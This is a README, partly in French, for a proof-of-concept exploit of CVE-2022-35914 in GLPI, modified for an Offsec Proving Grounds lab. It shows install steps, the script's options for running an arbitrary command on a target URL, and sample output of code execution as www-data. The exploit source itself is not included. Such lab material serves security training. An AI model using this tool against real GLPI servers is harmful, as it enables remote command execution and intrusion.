noxlumens/cve-2022-35914_pocModifié pour GLPI Offsec Lab : call_user_func, array_map, passthru
Modifié pour le lab Offsec GLPI : call_user_func, array_map, passthru
Modifié pour fonctionner avec le laboratoire d'entraînement Proving Grounds : GLPI
pip3 install -r requirements.txt
./CVE-2022-35914.py -h
usage: CVE-2022-35914.py [-h] -u URL -c CMD [--check] [--user-agent USER_AGENT]
CVE-2022-35914 - GLPI - Modified for Offsec Lab: GLPI
options:
-h, --help show this help message and exit
-u URL URL to test
-c CMD Command to launch
--check Just check, no command execution.
--user-agent USER_AGENT Custom User-Agent
Exemple :
python3 CVE-2022-35914.py -u http://127.0.0.1
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)